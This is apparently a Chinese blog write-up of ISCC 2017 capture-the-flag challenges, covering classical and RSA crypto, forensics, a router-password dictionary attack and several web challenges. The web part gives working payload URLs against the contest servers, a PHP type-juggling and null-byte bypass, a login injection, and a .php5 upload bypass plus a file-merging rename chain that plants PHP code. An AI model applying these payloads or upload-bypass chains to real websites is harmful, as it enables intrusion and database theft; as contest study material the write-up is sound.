加密表:
1: < ZWAXJGDLUBVIQHKYPNTCRMOSFE <
2: < KPBELNACZDTRXMJQOYHGVSFUWI <
3: < BDMAIZVRNSJUWFHTEQGYXPLOCK <
4: < RPLNDVHGFCUKTEBSXQYIZMJWAO <
5: < IHFRLABEUOTSGJVDKCPMNZQWXY <
6: < AMKGHIWPNYCJBFZDRUSLOQXVET <
7: < GWTHSPYBXIZULVKMRAFDCEONJQ <
8: < NOZUTWDCVRJLXKISEFAPMYGHBQ <
9: < XPLTDSRFHENYVUBMCQWAOIKZGJ <
10: < UDNAJFBOWTGVRSCZQKELMXYIHP <
11: < MNBVCXZQWERTPOIUYALSKDJFHG <
12: < LVNCMXZPQOWEIURYTASBKJDFHG <
13: < JZQAWSXCDERFVBGTYHNUMKILOP <
密钥为:2,3,7,5,13,12,9,1,8,10,4,11,6
密文为:NFQKSEVOQOFNP
直接google一下发现是什么二战时期的一个轮转加密,直接按照他得规律写脚本就好了
#coding:utf-8
import re
sss='''
1: < ZWAXJGDLUBVIQHKYPNTCRMOSFE <
2: < KPBELNACZDTRXMJQOYHGVSFUWI <
3: < BDMAIZVRNSJUWFHTEQGYXPLOCK <
4: < RPLNDVHGFCUKTEBSXQYIZMJWAO <
5: < IHFRLABEUOTSGJVDKCPMNZQWXY <
6: < AMKGHIWPNYCJBFZDRUSLOQXVET <
7: < GWTHSPYBXIZULVKMRAFDCEONJQ <
8: < NOZUTWDCVRJLXKISEFAPMYGHBQ <
9: < XPLTDSRFHENYVUBMCQWAOIKZGJ <
10: < UDNAJFBOWTGVRSCZQKELMXYIHP <
11 < MNBVCXZQWERTPOIUYALSKDJFHG <
12 < LVNCMXZPQOWEIURYTASBKJDFHG <
13 < JZQAWSXCDERFVBGTYHNUMKILOP <
'''
#密钥为:2,3,7,5,13,12,9,1,8,10,4,11,6
#密文为:NFQKSEVOQOFNP
m="NFQKSEVOQOFNP"
content=re.findall(r'< (.*?) <',sss,re.S)
iv=[2,3,7,5,13,12,9,1,8,10,4,11,6]
vvv=[]
ans=""
for i in range(13):
index=content[iv[i]-1].index(m[i])
vvv.append(index)
for i in range(0,26):
flag=""
for j in range(13):
flag+=content[iv[j]-1][(vvv[j]+i)%26]
print flag
发现flag
本题目是一个 RandomsCTF上的原题,是一个比较好的RSA+数字验证的题目!下面讲一下解题的步骤
首先我们拿到了一个数据包,然后观察一下TCP流可以找到有许多base64加密的数据流
SEQ = 13; DATA = 0x3b04b26a0adada2f67326bb0c5d6L; SIG = 0x2e5ab24f9dc21df406a87de0b3b4L;
SEQ = 0; DATA = 0x7492f4ec9001202dcb569df468b4L; SIG = 0xc9107666b1cc040a4fc2e89e3e7L;
SEQ = 5; DATA = 0x94d97e04f52c2d6f42f9aacbf0b5L; SIG = 0x1e3b6d4eaf11582e85ead4bf90a9L;
SEQ = 4; DATA = 0x2c29150f1e311ef09bc9f06735acL; SIG = 0x1665fb2da761c4de89f27ac80cbL;
SEQ = 18; DATA = 0x181901c059de3b0f2d4840ab3aebL; SIG = 0x1b8bdf9468f81ce33a0da2a8bfbeL;
SEQ = 2; DATA = 0x8a03676745df01e16745145dd212L; SIG = 0x1378c25048c19853b6817eb9363aL;
SEQ = 20; DATA = 0x674880905956979ce49af33433L; SIG = 0x198901d5373ea225cc5c0db66987L;
SEQ = 0; DATA = 0x633282273f9cf7e5a44fcbe1787bL; SIG = 0x2b15275412244442d9ee60fc91aeL;
SEQ = 28; DATA = 0x19688f112a61169c9090a4f9918dL; SIG = 0x1448ac6eee2b2e91a0a6241e590eL;
...
然后我们观察,可以通过查找资料发现,这个就是RSA+数字签名
然后我们已经知道了Alice和Bob的公钥对
X老师怀疑一些调皮的学生在一次自动化计算机测试中作弊,他使用抓包工具捕获到了Alice和Bob的通信流量。狡猾的Alice和Bob同学好像使用某些加密方式隐藏通信内容,使得X老师无法破解它,也许你有办法帮助X老师。X老师知道Alice的RSA密钥为(n, e) = (0x53a121a11e36d7a84dde3f5d73cf, 0x10001) (192.168.0.13)?,Bob的RSA密钥为(n, e) =(0x99122e61dc7bede74711185598c7, 0x10001) (192.168.0.37)
然后我们有一个大数分解的神奇网站
大数分解
然后我们可以分别分解n得到Alice和Bob运算中的p和q
Alice's p and q are 38456719616722997 and 44106885765559411.
Bob's p and q are 49662237675630289 and 62515288803124247.
然后我们可以通过 扩展欧几里得算法得到d,好多人用的python gmpy库,但是windows下太难装了,而我们直到p和q后根据RSA算法知道
扩展欧几里得算法求的是方程的解。原理如下
设a>b,当时b==0,gcd(a,b)==a,此时x=1,y=0,否则设
由于,所以进一步得到
然后我们就可以写脚本了,exgcd函数如下
def exgcd(a,b):
if b==0:
return 1,0
tempx,tempy=exgcd(b,a%b)
tmp = tempx
x=tempy
y = tmp - (a / b) * tempy
return x,y
然后我们就知道两个人的d了
然后我们写一个RSA的类,记录两个人的不同变量内容
class RSAPerson(object):
def __init__(self, e, p, q):
self.n = p*q
self.p = p
self.q = q
self.e = e
tempx,tempy=exgcd(e,(p-1)*(q-1)) #扩展gcd求d
self.d = tempx
self.key = RSA.construct((long(self.n), long(self.e), self.d)) #将n、e、d封装成标准的RSA密钥
def sign(self, message):
return self.key.sign(message, '')
def verify(self, message, signature): #数字签名接受验证
return self.key.publickey().verify(message, [signature])
def encrypt(self, message): #加密
return self.key.publickey().encrypt(message)
def decrypt(self, message): #解密
return self.key.decrypt(message)
然后构造两个人
alice = RSAPerson(
0x10001,
38456719616722997,
44106885765559411
)
bob = RSAPerson(
0x10001,
49662237675630289,
62515288803124247
)
之后我们需要了解RSA数字签名的过程,在Bob发送内容后,如果Alice想要接受,需要有一步接收验证!!!
那我们正则表达扣取数据data,然后用Bob的私钥进行解密,如果Alice接收成功说明是我们想要的数据,脚本如下
packets = []
with open(r"C:\Users\Assassin\Desktop\input.txt") as lines:
for line in lines:
decoded = base64.b64decode(line)
content=re.findall(r'= (.*?);',decoded,re.S)
seq = int(content[0],10)
data = int(content[1][2:-1],16)
signature = int (content[2][2:-1],16)
data = bob.decrypt(data)
if alice.verify(data, signature):
data =chr(data)
packets .append((
seq,
data,
signature
)
)
print packets
然后我们观察如下:
明显和我们的序号seq有关了吧,排序一下即可,总体的代码如下
# encoding: utf-8
from Crypto.PublicKey import RSA
import base64
import re,os,regex
def exgcd(a,b):
if b==0:
return 1,0
tempx,tempy=exgcd(b,a%b)
tmp = tempx
x=tempy
y = tmp - (a / b) * tempy
return x,y
class RSAPerson(object):
def __init__(self, e, p, q):
self.n = p*q
self.p = p
self.q = q
self.e = e
tempx,tempy=exgcd(e,(p-1)*(q-1)) #扩展gcd求d
self.d = tempx
self.key = RSA.construct((long(self.n), long(self.e), self.d)) #将n、e、d封装成标准的RSA密钥
def sign(self, message):
return self.key.sign(message, '')
def verify(self, message, signature): #数字签名接受验证
return self.key.publickey().verify(message, [signature])
def encrypt(self, message): #加密
return self.key.publickey().encrypt(message)
def decrypt(self, message): #解密
return self.key.decrypt(message)
alice = RSAPerson(
0x10001,
38456719616722997,
44106885765559411
)
bob = RSAPerson(
0x10001,
49662237675630289,
62515288803124247
)
packets = []
with open(r"") as lines:
for line in lines:
decoded = base64.b64decode(line)
content=re.findall(r'= (.*?);',decoded,re.S)
#print content
seq = int(content[0],10)
data = int(content[1][2:-1],16)
signature = int (content[2][2:-1],16)
#print seq,data,signature
data = bob.decrypt(data)
if alice.verify(data, signature):
data =chr(data)
packets .append((
seq,
data,
signature
)
)
#print packets
print ''.join([packet[1] for packet in sorted(packets)])
确实好题!!!
没什么好说的,打开看到一堆类似文件编码的胴体,拖到hex editor得到一个zip压缩包,然后爆破一下密码发现密码是123456!解压得到flag!!!
用hex editor打开看一下发现多个png结构,果断binwalk分析,发现多个文件,foremost直接分解,发猪圈密码
直接解密得到goodluck
发现只有两个串
636A56355279427363446C4A49454A7154534230526D6843
56445A31614342354E326C4B4946467A5769426961453067
然后两个一组作为16进制,用ASCII码转换一下得到
cjV5RyBscDlJIEJqTSB0RmhCVDZ1aCB5N2lKIFFzWiBiaE0g
然后顺理成章base64解密一下!得到
r5yG lp9I BjM tFhB
T6uh y7iJ QsZ bhM
嘿嘿嘿,是不是不知道是啥了?看看电脑键盘吧~键盘密码!答案
TONGYUAN
本题真是坑死了,首先得到二维码,看一下提示
The password of the router is our flag
然后看到文件名是utf-8编码
然后爆破密码得到
解压分析是air-crack攻击记录,而且提示,密码是ISCC+(数字||大写字母)*4,直接写好字典,用命令
air-crack.exe .cap文件 -w 字典文件
跑出的密码就是flag
没什么,用hex editor打开发现有压缩包的形势,直接改成rar后缀解压,最后在\word\document.xml直接找到答案
二维码拖到hex editor一看就有问题,就是有一个ZIP压缩包!解压后得到了一个数据包,观察数据包的TCP流可以得到三个东西,key.txt、rsa_PRIVATE_key.txt和 public_key.txt,明显的RSA加密喽.直接拖到网站搞
http://tool.chacuo.net/cryptrsaprikey
注意密文要转换成base64格式的!否则会丢失数据!!
hi, boys and girls! flag is {haPPy_Use_0penSsI}
直接利用Audicity打开,找了一会发现在wav文件的最最前面有大概100帧左右的异常,而因为整体帧数比较多,这个是没法左移看到的。。。
发现了问题,然后用python脚本得到前面的帧,发现正好有105个,假设高位是1,低位是0,那么得到了一个105的比特流,如果7个一组用Ascii解码,就得到flag了
#coding: utf-8
import wave
import struct
filename = r'...\Disco.wav'
wavefile = wave.open(filename, 'r') # open for writing
bits=''
for i in range(105):
val = wavefile.readframes(1)
left = val[0:2]
v = struct.unpack('h', left )[0]
#print v
if v>0:
bits+='1'
else :
bits+='0'
print bits
flag=''
for i in range(15):
cut=bits[i*7:i*7+7]
num=int(cut,2)
flag+=chr(num)
print flag
#flag{W0W*funny}
这个题目真是坑死我了,一开始真以为要算数独,后来经过前辈提醒,就是5*5图片组成二维码被,5*5的小图构成大图,每个小图9*9。然后有数字就是黑色的,否则为白色的。
而且我们很简单就能发现,其实1、5、21.png的位置是错的,调换一下位置就好了!
那么问题来了,咋提取???好多人手工的,我不服,写了个python脚本,思路就是,构造180*180的图,4*4为一个像素点(否则1*1像素点太小了…),然后每行每列直接去对应的图片找,图片的截取都是试出来的,很大的偶然性,而且依赖于图片相对规整!
直接上代码
#coding:utf-8
import Image
import time
path =''
newimg = Image.new ("RGBA", (182, 182), (255, 255, 255))
#newimg.show()
box = (3, 3, 199, 199)
for newpngx in range(45):
for newpngy in range(45):
pngnumber=newpngx/9*5+newpngy/9+1 #用第几个png
x=newpngx%9
y=newpngy%9
box1 = (3+y*22+8, 3+x*22+8, 3+y*22+15, 3+x*22+15)
im = Image.open(path+str(pngnumber)+".png")
copy1=im.crop(box)
copy=copy1.crop(box1)
img=copy.load()
flag=0
for xx in range(0,7):
for yy in range(0,7):
if img[xx,yy]!=(255,255,255,255):
flag=1
break
if flag==1:
break
if flag==1:
for xxx in range(4):
for yyy in range(4):
newimg.putpixel([newpngx*4+xxx,newpngy*4+yyy],(0, 0, 0))
#newimg.show()
newimg.save(path+"answer.png")
生成二维码如下
在线解码一下
然后n次base64解密得到flag
flag{y0ud1any1s1}
比较没有营养的题目…纯脑洞吧…
首先看到他要f1ag,然后审计源码有一个post提交的变量flag和隐藏的变量hiddenflag,给f1ag呗
说真的真不到要干啥了…但是突然发现!不给你FLAG???在搞一个变量叫FLAG试试?无语…
flag格式有毒…:
f1ag: {N0w_go1Odo!otherw3b}
一开始以为是传统的文件上传绕过,发现直接可以上传,而且可以访问到!但是禁止上传php后缀文件!所以呢上传php5后缀文件,而且经过提示在base.php有源码,所以先写一个脚本访问base.php
show_source("base.php");
?>
上传到upload/123.php5路径访问,然后可以得到内容
然后我们直接写php脚本访问数据库!
$mysql_server_name='localhost'; //改成自己的mysql数据库服务器
$mysql_username='iscc2017'; //改成自己的mysql数据库用户名
$mysql_password='iscc2017'; //改成自己的mysql数据库密码
$mysql_database='flag'; //改成自己的mysql数据库名
$conn=mysql_connect($mysql_server_name,$mysql_username,$mysql_password) ; //连接数据库
mysql_query("set names 'utf8'"); //数据库输出编码 应该与你的数据库编码保持一致.南昌网站建设公司百恒网络PHP工程师建议用UTF-8 国际标准编码.
mysql_select_db($mysql_database); //打开数据库
$sql ="select * from flag "; //SQL语句
$result = mysql_query($sql,$conn); //查询
#$row = mysql_fetch_array($result);
#echo $row;
while($row =mysql_fetch_array($result))
{
echo ""; //排版代码
echo $row[2] . "
";
echo ""; //排版代码
}
?>
得到答案
首先给出源代码
$v1=0;$v2=0;$v3=0;
$a=(array)json_decode(@$_GET['iscc']);
if(is_array($a)){
is_numeric(@$a["bar1"])?die("nope"):NULL;
if(@$a["bar1"]){
($a["bar1"]>2016)?$v1=1:NULL;
}
if(is_array(@$a["bar2"])){
if(count($a["bar2"])!==5 OR !is_array($a["bar2"][0])) die("nope");
$pos = array_search("nudt", $a["bar2"]);
$pos===false?die("nope"):NULL;
foreach($a["bar2"] as $key=>$val){
$val==="nudt"?die("nope"):NULL;
}
$v2=1;
}
}
$c=@$_GET['cat'];
$d=@$_GET['dog'];
if(@$c[1]){
if(!strcmp($c[1],$d) && $c[1]!==$d){
eregi("3|1|c",$d.$c[0])?die("nope"):NULL;
strpos(($c[0].$d), "isccctf2017")?$v3=1:NULL;
}
}
#echo $v1." ".$v2." ".$v3;
if($v1 && $v2 && $v3){
echo $flag;
}
?>
然后我们发现需要绕过几个地方
1.$a[“bar1”]不是数字且大雨2016,那么构造字符串2017asd即可
2.if(count(\$a[“bar2”])!==5 OR !is_array(\$a[“bar2”][0]))为了绕过它,首先构造\$a[“bar2”]是一个5个元素组成的数组,然后需要第一个元素也是个数组
3.绕过一下代码,首先要nudt在\$a[“bar2”]中,然后又不让nudt在其中,怎么办!第一句用“”==0饶过即可!!!
$pos = array_search("nudt", $a["bar2"]);
$pos===false?die("nope"):NULL;
foreach($a["bar2"] as $key=>$val){
$val==="nudt"?die("nope"):NULL;
}
4.首先保证$c[1]存在,然后eregi()函数我们可以用%00截断,strcmp比较是==弱类型比较,构造 $c[1]为字符串,可以和%00(空)匹配,然后让$c[0]=”isccctf2017”即可
$c=@$_GET['cat'];
$d=@$_GET['dog'];
if(@$c[1]){
if(!strcmp($c[1],$d) && $c[1]!==$d){
eregi("3|1|c",$d.$c[0])?die("nope"):NULL;
strpos(($c[0].$d), "isccctf2017")?$v3=1:NULL;
}
}
payload:
http://139.129.108.53:8083/web-09/?iscc={%22bar1%22:%222017asd%22,%22bar2%22:[[1],2,3,4,0]}&dog=%00&cat[0]=%22isccctf2017%22&cat[1][]=asd
首先不知道怎么办,用目录扫描工具dirfuzz.py扫描一下
然后我们知道了有robots.txt,打开看一下
发现有一个Disallow: /21232f297a57a5a743894a0e4a801fc3/
就是我们可以访问这个文件夹下文件,但是不能访问文件夹下的文件夹!但是我们确定有这个文件夹存在,继续扫描
打开admin.php直接尝试一下常规的注入…结果就是简单的password 绕过就出flag了
**Logged in! Flag:{ar32wefafafqw325t4rqfcafas}**
非常有意思的一个题目,打开题目得到源代码如下、
include 'hanshu.php';
if(isset($_GET['do']))
{
$do=$_GET['do'];
if($do==upload)
{
if(empty($_FILES))
{
$html1=<<"index.php?do=upload" method="post" enctype="multipart/form-data">
"file" name="filename">
"submit" value="upload">
HTML1;
echo $html1;
}
else
{ $file=@file_get_contents($_FILES["filename"]["tmp_name"]);
if(empty($file))
{
die('do you upload a file?');
}
else
{
if((strpos($file,'')>-1)||(strpos($file,'?>')>-1)||(stripos($file,'php')>-1)||(stripos($file,')>-1))
{
die('you can\' upload this!');
}
else
{
$rand=mt_rand();
$path='/var/www/html/web-03/uploads/'.$rand.'.txt';
file_put_contents($path, $file);
echo 'your upload success!./uploads/'.$rand.'.txt';
}
}
}
}
elseif($do==rename)
{
if(isset($_GET['re']))
{
$re=$_GET['re'];
$re2=@unserialize(base64_decode(unKaIsA($re,6)));
if(is_array($re2))
{
if(count($re2)==2)
{
$rename='txt';
$rand=mt_rand();
$fp=fopen('./uploads/'.$rand.'.txt','w');
foreach($re2 as $key=>$value)
{
if($key==0)
{
$rename=$value;
}
else
{
if(file_exists('./uploads/'.$value.'.txt')&&is_numeric($value))
{
$file=file_get_contents('./uploads/'.$value.'.txt');
fwrite($fp,$file);
}
}
}
fclose($fp);
waf($rand,$rename);
rename('./uploads/'.$rand.'.txt','./uploads/'.$rand.'.'.$rename);
echo "you success rename!./uploads/$rand.$rename";
}
}
else
{
echo 'please not hack me!';
}
}
elseif(isset($_POST['filetype'])&&isset($_POST['filename']))
{
$filetype=$_POST['filetype'];
$filename=$_POST['filename'];
if((($filetype=='jpg')||($filetype=='png')||($filetype=='gif'))&&is_numeric($filename))
{
$re=KaIsA(base64_encode(serialize(array($filetype,$filename))),6);
header("Location:index.php?do=rename&re=$re");
exit();
}
else
{
echo 'you do something wrong';
}
}
else
{
$html2=<<"index.php?do=rename" method="post">
filetype: "text" name="filetype" /> please input the your file's type
filename: please input your file's numeric name,like 12345678
"submit" />
HTML2;
echo $html2;
}
}
}
else
{
show_source(__FILE__);
}
?>
猛一看很蒙蔽,实际上就是实现了三个功能
1.上传文件,只能是txt结尾
2.文件重新名
3.定义文件类型和名字,利用2函数重命名
然后类,比较有意思的是这个
那么假如我们能很好的构造re,就可以实现任意更改文件名,而且我们看到比较有意思的一个地方
最开始我们打开了文件,如果两次判断都进了else中,那么可以实现两个txt文件内容的合并!!!
我们并不知道unKaIsA函数是个啥玩意!!!就在这坑死我了,以为就是简单的凯撒解密了,大小写同步,但是怎么都不行…幸好有K巨提示,大小写不同步,凯撒一个做加法,一个做减法…然后发现可以成功构造绕过!!!
现在我们理一下思路,先将一个php文件内容拆分,利用上述方法合并,然后在重命名,得到一个xxx.php文件,假设我们将文件内容拆分为
<
?ph
p
echo 123;
?
>
组合起来形成
echo 123;
?>
分别上传内容并记录好保存的文件位置!!!因为后面要用!!!我的记录如下
"<" your upload success!./uploads/1648462279.txt
"?ph" your upload success!./uploads/597839619.txt
"p" your upload success!./uploads/1929717089.txt
"echo 123;
?"
your upload success!./uploads/1798407962.txt
">" your upload success!./uploads/919848482.txt
然后写一个php脚本跑出加密得到的我们想要的re值,代码如下
'/include/Requests-1.7.0/library/Requests.php';
Requests::register_autoloader();
$url = 'http://139.129.108.53:3366/web-03';
$try="a:2:{i:0;s:3:\"php\";i:2;s:9:\"767277819\";}";
$base64=base64_encode($try);
var_dump($base64);
$have_try="";
for ($i=0; $i$base64);$i++){
if (ord($base64[$i])>=ord('A') and ord($base64[$i])<=ord('Z')){
$have_try.=chr(ord('A')+(ord($base64[$i])-ord('A')+26+6)%26);
}
else if (ord($base64[$i])>=ord('a') and ord($base64[$i])<=ord('z')){
$have_try.=chr(ord('a')+(ord($base64[$i])-ord('a')+26-6)%26);
}
else {
$have_try.=$base64[$i];
}
}
var_dump($have_try);
$rep = Requests::get($url."?do=rename&re=$have_try");
$content = $rep->body;
print $content;
?>
依次不断变换上述代码的$try变量中的两个数字值(前后顺序分别为要合并的文件名),直至最后得到合并完全的php内容的txt文件!我的合并流程如下
you success rename!./uploads/1384452155.txt
you success rename!./uploads/934494653.txt
you success rename!./uploads/567170825.txt
you success rename!./uploads/767277819.txt
然后我们改名字
'/include/Requests-1.7.0/library/Requests.php';
Requests::register_autoloader();
$url = 'http://139.129.108.53:3366/web-03';
#$try="a:2:{i:1;s:9:\"567170825\";i:2;s:9:\"919848482\";}";
$try="a:2:{i:0;s:3:\"php\";i:2;s:9:\"767277819\";}";
$base64=base64_encode($try);
var_dump($base64);
$have_try="";
for ($i=0; $i$base64);$i++){
if (ord($base64[$i])>=ord('A') and ord($base64[$i])<=ord('Z')){
$have_try.=chr(ord('A')+(ord($base64[$i])-ord('A')+26+6)%26);
}
else if (ord($base64[$i])>=ord('a') and ord($base64[$i])<=ord('z')){
$have_try.=chr(ord('a')+(ord($base64[$i])-ord('a')+26-6)%26);
}
else {
$have_try.=$base64[$i];
}
}
var_dump($have_try);
$rep = Requests::get($url."?do=rename&re=$have_try");
$content = $rep->body;
print $content;
?>
就成功了!!!
打开是时候发现发生了重定向
找遍在这个页面都没有,想到是否在重定向之前的页面之中?burp抓包得到flag
flag{54a5bd4fe6193580020487b56acff6c5}
真是二进制脸盲很友好的题目,首先我们根据提示看到
flag格式已经给了,所以就是找到三个关键的字符串,打开IDA静态分析一下源码,代码结构很简单,找到了真个
首先我们看第一个红框中的判定条件,我们需要sub_400646 函数返回0,代码如下
明显看到就是将v5-v14中分成了两个字符串比对,两个字符串分别5字节一组,分别是l1nux和crack,这个是不是我们需要的字节呢?继续向下看
看主函数中第二个框框找到sub_400655 函数,发现十分没有营养,就是每一字节都有一个判断,通过简单的加减法得出这个5字节的password是ILCF!
然后答案很明显了…
flag{l1nux_crack_ILCF!}
最后一段时间没有时间去做了,唉,错过了好遗憾